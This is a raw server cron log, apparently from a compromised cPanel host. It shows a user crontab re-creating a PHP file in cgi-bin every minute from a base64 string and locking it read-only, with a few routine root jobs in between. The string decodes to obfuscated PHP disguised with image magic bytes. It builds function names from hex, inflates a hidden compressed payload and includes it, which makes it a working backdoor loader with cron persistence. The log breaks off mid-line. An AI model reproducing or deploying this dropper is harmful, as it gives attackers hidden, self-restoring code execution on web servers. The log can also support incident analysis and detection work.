Nov 12 00:36:01 server CROND[25533]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:37:01 server CROND[26445]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:38:01 server CROND[27278]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:39:01 server CROND[28093]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:39:01 server CROND[28094]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 00:40:01 server CROND[28913]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:40:01 server CROND[28914]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 00:40:01 server CROND[28915]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 00:40:01 server CROND[28916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 00:41:01 server CROND[29800]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:42:01 server CROND[30617]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:42:01 server CROND[30618]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 00:43:01 server CROND[31595]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:44:01 server CROND[32455]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:45:01 server CROND[844]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 00:45:01 server CROND[845]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 00:45:01 server CROND[846]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:46:01 server CROND[1709]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:47:01 server CROND[2528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:48:01 server CROND[3357]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:49:01 server CROND[4273]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 